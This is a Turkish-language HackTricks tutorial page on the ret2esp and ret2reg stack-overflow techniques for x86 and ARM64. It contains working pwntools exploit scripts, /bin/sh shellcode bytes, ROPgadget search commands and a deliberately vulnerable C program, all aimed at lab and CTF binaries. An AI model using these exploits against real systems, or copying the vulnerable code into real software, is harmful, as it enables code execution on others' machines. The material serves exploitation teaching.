Ret2esp / Ret2reg

AWS hacklemeyi sıfırdan ileri seviyeye öğrenin htARTE (HackTricks AWS Red Team Expert) ile!

HackTricks'i desteklemenin diğer yolları:

Ret2esp

Çünkü ESP (Yığın İşaretçisi) her zaman yığının en üstüne işaret eder, bu teknik, EIP'yi (Komut İşaretçisi) bir jmp esp veya call esp komutunun adresiyle değiştirerek ilgilidir. Bunu yaparak, shellcode, üzerine yazılan EIP'nin hemen ardına yerleştirilir. ret komutu çalıştığında, ESP bir sonraki adrese işaret eder, tam olarak shellcode'un depolandığı yer.

Eğer Adres Alanı Düzeni Rastgeleleştirme (ASLR) Windows veya Linux'ta etkin değilse, paylaşılan kütüphanelerde bulunan jmp esp veya call esp komutlarını kullanmak mümkündür. Ancak, ASLR etkinse, bu komutları bulmak için muhtemelen savunmasız programın kendisine bakmanız gerekebilir (ve PIE karşısında başarılı olmanız gerekebilir).

Ayrıca, shellcode'u EIP bozulmasından sonra yerleştirebilmek, yığının ortasına değil, işlevin işlemi sırasında yürütülen herhangi bir push veya pop komutunun shellcode ile etkileşime girmesini önler. Bu tür bir etkileşim, shellcode yığının işlevin ortasına yerleştirilmiş olsaydı meydana gelebilirdi.

Yetersiz alan

Eğer RIP üzerine yazdıktan sonra yazacak alanınız yoksa (belki sadece birkaç bayt), başlangıçta bir jmp shellcode'u yazın:

sub rsp, 0x30
jmp rsp

Ve kabuğu erken yığın üzerine yazın.

Örnek

Bu teknik örneğini https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp adresinde bulabilirsiniz ve son saldırı şu şekildedir:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

jmp_rsp = next(elf.search(asm('jmp rsp')))

payload = b'A' * 120
payload += p64(jmp_rsp)
payload += asm('''
sub rsp, 10;
jmp rsp;
''')

pause()
p.sendlineafter('RSP!\n', payload)
p.interactive()

Bu teknikle ilgili başka bir örneği https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html adresinde görebilirsiniz. NX etkin olmayan bir taşma durumu var, $esp adresini azaltmak için bir araç kullanıldı ve ardından bir jmp esp; ile kabuk koduna atlandı:

# From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
from pwn import *

# Establish the target process
target = process('./b0verflow')
#gdb.attach(target, gdbscript = 'b *0x080485a0')

# The shellcode we will use
# I did not write this, it is from: http://shell-storm.org/shellcode/files/shellcode-827.php
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

# Establish our rop gadgets

# 0x08048504 : jmp esp
jmpEsp = p32(0x08048504)

# 0x080484fd : push ebp ; mov ebp, esp ; sub esp, 0x24 ; ret
pivot = p32(0x80484fd)

# Make the payload

payload = ""
payload += jmpEsp # Our jmp esp gadget
payload += shellcode # Our shellcode
payload += "1"*(0x20 - len(shellcode)) # Filler between end of shellcode and saved return address
payload += pivot # Our pivot gadget

# Send our payload
target.sendline(payload)

# Drop to an interactive shell
target.interactive()

Ret2reg

Benzer şekilde, bir fonksiyonun kabuk kodunun depolandığı adresi döndürdüğünü bildiğimizde, call eax veya jmp eax komutlarını kullanabiliriz (ret2eax tekniği olarak bilinir), kabuk kodumuzu yürütmek için başka bir yöntem sunar. Eax gibi, ilginç bir adres içeren herhangi bir kayıt kullanılabilir (ret2reg).

Örnek

Bazı örnekleri burada bulabilirsiniz:

ARM64

Ret2sp

ARM64'te SP kaydına atlamaya izin veren komutlar yoktur. Sp'yi bir kayda taşıyıp ardından o kayda atlamayı sağlayan bir aygıt bulunabilir, ancak benim kali libc'mde böyle bir aygıt bulamadım:

for i in `seq 1 30`; do
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
done

Keşfettiğim tek şey, sp'nin kopyalandığı kayıt değerini değiştirecek ve ardından ona atlamadan önce (bu nedenle işe yaramaz hale gelecektir):

Ret2reg

Bir kaydın ilginç bir adresi varsa, uygun talimatı bulmak yeterli olacaktır. Şöyle bir şey kullanabilirsiniz:

ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";

ARM64'de, bir fonksiyonun dönüş değerini saklayan x0 olabilir, bu nedenle x0'ın, kullanıcı tarafından kontrol edilen bir tamponun adresini sakladığı ve yürütülecek bir kabuk kodunu içerdiği olabilir.

Örnek kod:

// clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack

#include <stdio.h>
#include <string.h>

void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("br x0");
return;
}

char* vulnerable_function() {
char buffer[64];
fgets(buffer, sizeof(buffer)*3, stdin);
return buffer;
}

int main(int argc, char **argv) {
char* b = vulnerable_function();
do_stuff(2)
return 0;
}

Fonksiyonun ayrıştırmasını kontrol etmek, taşma ve kullanıcı tarafından kontrol edilen tamponun adresinin x0'da saklandığını görmek mümkündür:

Ayrıca do_stuff fonksiyonunda br x0 adlı araca rastlamak mümkündür:

Binary PIE OLMADAN derlendiği için bu araca atlamak için bu aracı kullanacağız. Bir desen kullanarak taşma ofsetinin 80 olduğu görülebilir, bu nedenle saldırı şu şekilde olacaktır:

from pwn import *

p = process('./ret2x0')
elf = context.binary = ELF('./ret2x0')

stack_offset = 72
shellcode = asm(shellcraft.sh())
br_x0 = p64(0x4006a0) # Addr of: br x0;
payload = shellcode + b"A" * (stack_offset - len(shellcode)) + br_x0

p.sendline(payload)
p.interactive()

Eğer fgets yerine read gibi bir şey kullanılsaydı, PIE'yi atlamak sadece return adresinin son 2 byte'ını üzerine yazarak br x0; komutuna dönüş yaparak mümkün olurdu, tam adresi bilmeye gerek kalmadan. fgets ile çalışmaz çünkü sona bir null (0x00) byte ekler.

Korumalar

  • NX: Stack çalıştırılamazsa, kabuk kodunu stack'e yerleştirmemiz ve çalıştırmamız gerektiği için bu işe yaramaz.

  • ASLR & PIE: Bu komutlar, esp veya başka bir kayda atlamak için bir komut bulmayı zorlaştırabilir.

Referanslar

Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'i desteklemenin diğer yolları:

Last updated